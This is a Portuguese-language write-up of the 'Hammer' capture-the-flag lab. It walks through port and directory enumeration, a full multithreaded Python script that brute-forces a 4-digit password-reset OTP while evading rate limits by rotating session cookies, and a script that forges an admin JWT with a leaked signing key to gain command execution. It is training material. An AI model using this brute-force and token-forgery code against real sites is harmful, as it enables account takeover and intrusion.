Skip to content

Hammer

Introdução

Este CTF faz parte da trilha Web Application Pentesting. Nele, são praticados conceitos de gerenciamento de sessão, autenticação de dois fatores (2FA), força bruta, scripting e JSON Web Tokens (JWT).

Inicialmente, realizamos o reconhecimento da aplicação, suas portas e serviços. Em seguida, passamos para a enumeração da aplicação, analisando como ela se comporta no processo de recuperação de senha. Concluímos com a análise do JWT e a exposição de informações sensíveis.

O CTF se encontra neste link.

Reconhecimento

Executamos um SYN SCAN no alvo.

┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sS --open 10.10.19.190            
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 15:59 -03
Nmap scan report for hammer.thm (10.10.19.190)
Host is up (0.32s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 4.31 seconds


┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sS --open -p- 10.10.19.190
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 16:00 -03
Nmap scan report for hammer.thm (10.10.19.190)
Host is up (0.33s latency).
Not shown: 65471 closed tcp ports (reset), 62 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
1337/tcp open  waste


┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sV -p 22,1337 10.10.19.190 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 16:04 -03
Nmap scan report for hammer.thm (10.10.19.190)
Host is up (0.35s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.03 seconds

Há um serviço web sendo executado na porta 1337.

home page

Realizamos uma enumeração dos diretórios disponíveis.
Encontramos três diretórios: javascript, vendor e phpmyadmin.

recon_gobuster

Analisando os diretórios, descobrimos no diretório vendor uma biblioteca, que realiza o decode e encode do JSON Web Token (JWT) a biblioteca utilizada é:firebase versão 6.10.0.

Quando verificamos o código fonte, da página inicial, identificamos uma anotação do desenvolvedor.

<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->

Vamos realizar novamente uma enumeração em busca de diretórios, agora com a string hmr_ incluída.

┌──(root㉿estudos)-[/home/alex]
└─# ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.19.190:1337/hmr_FUZZ -fs 276

recon_ffuf

No diretório hmr_imagestemos uma imagem, verificado os metadados, não identificamos nenhuma informação relevante.

exiftool

Os diretórios hmr_csse hmr_js, temos apenas arquivos que realizam a manipulação das páginas HTML do site.

No diretório hmr_logs temos logs de tentativa de acesso.

hmr_logs

Os diretórios informados no log foram verificados, não estão disponíveis para acesso até o momento. Com o e-mail tester@hammer.thm tentamos recuperar a senha, é enviado um token de 4 dígitos.

recovery_code

Temos uma contagem regressiva de 180 segundos, para informar o código OTP. Além disso, existe um controle contra brute force, após algumas tentativas a aplicação nos bloqueia.

rate_limit

Se alterarmos o nosso cookie, podemos reiniciar o processo de recuperação de senha. Precisamos informar o e-mail novamente. Após informar o e-mail, podemos inserir o código OTP mais uma vez.

Exploração

Primeiro, vamos criar nossa wordlist com 4 dígitos, que inicia em 0000 até 9999. Para essa tarefa utilizaremos o crunch.

┌──(root㉿estudos)-[/home/alex/Desktop]
└─# crunch 4 4 -o otp.txt -t %%%%
Crunch will now generate the following amount of data: 50000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000 

crunch: 100% completed generating output

Temos 9999 números para serem testados, se cada número demorar 1 segundo para ser testado, ficaríamos mais de 2 horas realizando o ataque de brute force. Para diminuir esse tempo, vamos dividir por 10, nosso programa irá executar 10 processos em paralelo.

O fluxo do programa será da seguinte maneira:

  1. Ler os códigos OTP:

    • Abrir o arquivo com os códigos de recuperação e armazená-los em uma lista.
  2. Dividir a lista de OTPs:

    • Dividir a lista de OTPs em 10 partes, uma para cada thread.
  3. Executar threads:

    • Utilizar ThreadPoolExecutor para criar 10 threads.
  4. Enviar a requisição inicial:

    • Cada thread gera um cookie aleatório e envia a requisição inicial com o e-mail.
  5. Processar os códigos OTP:

    • Cada thread processa sua parte da lista de OTPs, enviando requisições POST com o código de recuperação.
  6. Verificar resposta da página:

    • Para cada requisição:
      • Se a resposta contiver “Invalid or expired recovery code!”, continuar com o próximo código da lista.
      • Se a resposta contiver “Rate limit exceeded. Please try again later.”, gerar um novo cookie e tentar novamente.
      • Se a resposta não contiver nenhuma dessas mensagens, considerar o código como válido.
  7. Encerrar threads:

    • Quando um código válido for encontrado, todas as threads são interrompidas.
    • Exibir o código válido encontrado, o cabeçalho recebido e o cookie utilizado.

O código foi desenvolvido em python 3.


import random
import string
import time
import requests
from concurrent.futures import ThreadPoolExecutor
from threading import Event

# URL de recuperação de senha
url_reset_password = 'http://hammer.thm:1337/reset_password.php'

# Evento para sinalizar que o código correto foi encontrado
codigo_valido_encontrado = Event()

# Função para gerar um cookie aleatório
def gerar_cookie_aleatorio(tamanho=27):
    caracteres = string.ascii_letters + string.digits
    return ''.join(random.choice(caracteres) for _ in range(tamanho))

# Função para enviar a requisição inicial
def enviar_primeiro_cabecalho():
    headers_primeiro = {
        'Host': 'hammer.thm:1337',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '25',
        'Origin': 'http://hammer.thm:1337',
        'Connection': 'keep-alive',
        'Referer': 'http://hammer.thm:1337/reset_password.php',
        'Cookie': f'PHPSESSID={gerar_cookie_aleatorio()}',
        'Upgrade-Insecure-Requests': '1',
        'Priority': 'u=0, i'
    }
    data_primeiro = {'email': 'tester@hammer.thm'}
    response = requests.post(url_reset_password, headers=headers_primeiro, data=data_primeiro)
    print(f'Primeiro cabeçalho enviado. Status: {response.status_code}')
    return headers_primeiro['Cookie']

# Função para enviar a requisição com o código de recuperação
def enviar_segundo_cabecalho(cookie, recovery_code):
    if codigo_valido_encontrado.is_set():
        return

    headers_segundo = {
        'Host': 'hammer.thm:1337',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '24',
        'Origin': 'http://hammer.thm:1337',
        'Connection': 'keep-alive',
        'Referer': 'http://hammer.thm:1337/reset_password.php',
        'Cookie': cookie,
        'Upgrade-Insecure-Requests': '1',
        'Priority': 'u=0, i'
    }
    data_segundo = {'recovery_code': recovery_code, 's': '180'}
    response = requests.post(url_reset_password, headers=headers_segundo, data=data_segundo)

    # Verifica a resposta da página
    if "Invalid or expired recovery code!" in response.text:
        print(f'Código OTP utilizado: {recovery_code} - Status: {response.status_code} - Código Inválido')
    elif "Rate limit exceeded. Please try again later." in response.text:
        print(f'Rate limit exceeded com código: {recovery_code} - Status: {response.status_code}')
        return 'rate_limit'
    else:
        print(f'Código OTP utilizado: {recovery_code} - Status: {response.status_code} - Código Válido')
        print(f'Cabeçalho recebido: {response.headers}')
        print(f'Cookie: {cookie}')
        codigo_valido_encontrado.set()
        return True

    return False

# Função principal
def main():
    # Arquivo com os códigos de recuperação
    arquivo_codigos = 'otp.txt'

    # Lê os códigos do arquivo
    with open(arquivo_codigos, 'r') as file:
        codigos = [linha.strip() for linha in file.readlines()]

    # Divide a lista de OTPs em 10 partes
    num_threads = 10
    chunk_size = len(codigos) // num_threads
    chunks = [codigos[i:i + chunk_size] for i in range(0, len(codigos), chunk_size)]

    def processar_codigo(chunk):
        cookie = enviar_primeiro_cabecalho()
        for codigo in chunk:
            if codigo_valido_encontrado.is_set():
                break
            resultado = enviar_segundo_cabecalho(cookie, codigo)
            if resultado == 'rate_limit':
                cookie = enviar_primeiro_cabecalho()
                resultado = enviar_segundo_cabecalho(cookie, codigo)
            if resultado is True:
                break

    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        futures = [executor.submit(processar_codigo, chunk) for chunk in chunks]

        for future in futures:
            future.result()
            if codigo_valido_encontrado.is_set():
                break

if __name__ == '__main__':
    main()

Brute Force - 2FA

Executando nosso script encontramos um código OTP válido.

code_otp_valid

Com um código válido conseguimos trocar a senha do usuário.

reset_password

Conseguimos acessar a dashboard e obter nossa primeira flag!

dasboard

JWT

Depois de alguns segundos é feito o logout automático da dashboard, é necessário inserir novamente as credenciais para acessa-lá. Vamos encaminhar para Burp Suite a solicitação, para entender melhor o que está ocorrendo.

Primeiro é feito uma requisição POST.

post_index

Depois realizamos um GETem /dasboard.php.

get_dashboard

O cookie recebido possui um JWT. O JWT possui um tempo de duração de 1 hora, após isso, ele é expirado e é necessário solicitar um novo token.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.yJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzM5MzgzNDI0LCJleHAiOjE3MzkzODcwMjQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.DloVp56EIpRxUunIspBJ9BGQvwuW40vog0L_qso0fiY

Conteúdo do JWT, verificamos pelo https://jwt.io/.

decode_jwt

Quando executamos um comando em “Enter command” a página solicitada é execute_command.php. Vamos envia-la para o Burp Suite.

execute_command

Mesmo após o logout automático, ainda conseguimos enviar os comandos, o JWT que temos nos campos Authorizatione Cookie permite que nossa solicitação seja processada com sucesso e o token ainda não está com o tempo expirado.

Verificamos o comportamento da aplicação, com o comando que enviamos, com o comando lsconseguimos listar os arquivos no diretório atual, além dos arquivos e diretórios que já sabíamos, também identificamos outro arquivo 188ade1.key.

file_discover

Baixamos o arquivo descoberto para a nossa máquina local.
Analisando o arquivo percebemos que pode se tratar de uma chave, para gerar JWT válido na aplicação.

┌──(alex㉿estudos)-[~/Downloads]
└─$ file 188ade1.key
188ade1.key: ASCII text, with no line terminators
                                
┌──(alex㉿estudos)-[~/Downloads]
└─$ cat 188ade1.key
[REDACTED]

Apenas o comando lssem nenhuma opção, está sendo permitido executar.
Tentamos executar outros comandos do Linux porém recebemos a mensagem Command not allowed.
Nosso usuário possui no JWT role:user, aparentemente, por esse motivo não conseguimos executar outros comandos, não temos a permissão necessária.

Criando nosso JWT

Como vimos no decode do JWT temos o campo role, podemos utiliza-lo, alterando para admin, utilizando a chave que encontramos em /var/www/html/.Para isso precisamos criar nosso JWT, vamos utilizar o python para essa tarefa.
Programa desenvolvido para criar nosso token.

import jwt
import datetime

# Definindo o header
header = {
    "typ": "JWT",
    "alg": "HS256",
    "kid": "/var/www/html/188ade1.key"
}

# Definindo o payload
payload = {
    "iss": "http://hammer.thm",
    "aud": "http://hammer.thm",
    "iat": 1739395993,
    "exp": 4070726400,
    "data": {
        "user_id": 1,
        "email": "tester@hammer.thm",
        "role": "admin"
    }
}

# Chave secreta
secret_key = 'key-256-bit-secret'

# Gerando o token JWT
token = jwt.encode(payload, secret_key, algorithm='HS256', headers=header)

# Exibindo o token
print(token)

Criando nosso JWT com role:admin.

craft_jwt

Validamos nosso JWT no site https://jwt.io/.
Observação, podemos gerar nosso JWT pelo site também.

jwt_own

Agora no Burp realizamos uma nova requisição com o nosso novo JWT.

role_admin_command

Temos permissão para executar outros comandos, o CTF já informa o caminho da última flag, vamos tentar ler o arquivo, antes de realizar uma shell reversa.

flag2

Resumo

Enumeramos as portas, e identificamos as portas 22 e 1337, com a porta 1337 rodando um serviço web. Nesse servidor web, descobrimos diretórios e arquivos importantes, encontrando um e-mail válido (tester@hammer.thm). A partir desse e-mail, iniciamos a análise do comportamento de recuperação de senha. Entendido o comportamento de recuperação de senha e o 2FA, desenvolvemos um script de brute force, conseguindo assim o código OTP válido. Após a alteração de senha e autenticados na dashboard da aplicação, realizamos uma nova enumeração e identificamos que a aplicação gerava um JWT, utilizado para validar quais comandos o usuário poderia executar (role). Com a descoberta da chave no diretório (/var/www/html/), geramos um novo JWT com o campo role alterado, obtendo assim um RCE e concluindo o CTF com a descoberta da última flag.

Complemento

Nessa seção, foram colocadas algumas informações que julguei necessárias e importantes, após concluir o CTF, para complementar esse Write-Up. As informações descobertas foram feitas em outras análises minhas, e com ajuda de outros Write-Ups disponíveis na internet.

Função para realizar o logout automaticamente

É realizado o logout automaticamente da dashboard após alguns segundos, a função que realiza esse logout se encontra no código fonte da página.


        function getCookie(name) {
            const value = `; ${document.cookie}`;
            const parts = value.split(`; ${name}=`);
            if (parts.length === 2) return parts.pop().split(';').shift();
        }

      
        function checkTrailUserCookie() {
            const trailUser = getCookie('persistentSession');
            if (!trailUser) {
          
                window.location.href = 'logout.php';
            }
        }

Função checkTrailUserCookie():

  • Essa função chama a função getCookie('persistentSession') para verificar se o cookie persistentSession está presente.
  • Se o cookie persistentSession não estiver presente (ou seja, trailUser é null ou undefined), a função redireciona o usuário para a página logout.php.

No nosso caso está como no, se for definida como truemantemos nossa sessão aberta sem logout automáticos

Controle contra Brute Force

Quando iniciamos o processo de recuperação de senha é solicitado nosso cótido OTP, iniciamos com 8 tentativas, até sermos bloqueado pela aplicação.

O campo que controla a quantidade é Rate-Limit-Pending.

limit_rate

OTP gerado

Em alguns momentos, ao executar o script, foi descoberto mais de um código OTP válido. Após realizar outra análise do comportamento da aplicação e ler alguns write-ups a respeito, ficou mais claro que o código OTP gerado não é válido somente na sessão em que foi solicitado, mas sim para o e-mail que está solicitando (tester@hammer.thm). Portanto, quando realizávamos uma nova requisição de recuperação de senha com um novo cookie, o código OTP gerado nos outros processos em paralelo não era descartado, podendo assim ser válido para recuperação de senha. O código só se tornaria inválido após o tempo de expiração ser excedido, que é de 1 hora.

otp_multiple